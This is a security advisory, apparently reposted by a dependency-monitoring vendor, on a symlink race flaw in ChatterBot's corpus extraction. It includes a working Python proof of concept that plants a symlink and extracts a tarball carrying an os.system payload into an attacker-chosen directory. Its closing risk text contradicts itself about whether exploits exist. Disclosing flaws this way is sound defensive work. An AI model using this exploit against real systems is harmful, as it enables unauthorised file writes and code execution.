Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-wvrh-2f4m-924v
No affected components available
Summary
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
with tarfile.open(str(tar_path), "r:gz") as tar:
for member in tar.getmembers():
member_path = os.path.join(str(data_path), member.name)
if not is_within_directory(str(data_path), member_path):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(str(data_path))
print(f"[3] extractall(data_path) — data_path is symlink, writes to target")
# Verify
files = list(ATTACKER_TARGET.iterdir())
if files:
print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
for f in sorted(files):
print(f" {f.name}: {f.read_text().strip()[:60]}")
else:
print("[-] Failed")
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(1)
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(0)
if __name__ == "__main__":
print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
print(f"Attacker target: {ATTACKER_TARGET}")
print()
main()
PoC output
<img width="1748" height="336" alt="image" src="https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c" />Suggested Fix
Refuse symlinks on the output directory before extraction:
def extract(self, file_path: str):
if os.path.islink(self.data_path):
raise self.TrainerInitializationException(
f'Refusing to extract to symlink: {self.data_path}')
if not os.path.exists(self.data_path):
os.makedirs(self.data_path)
...
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard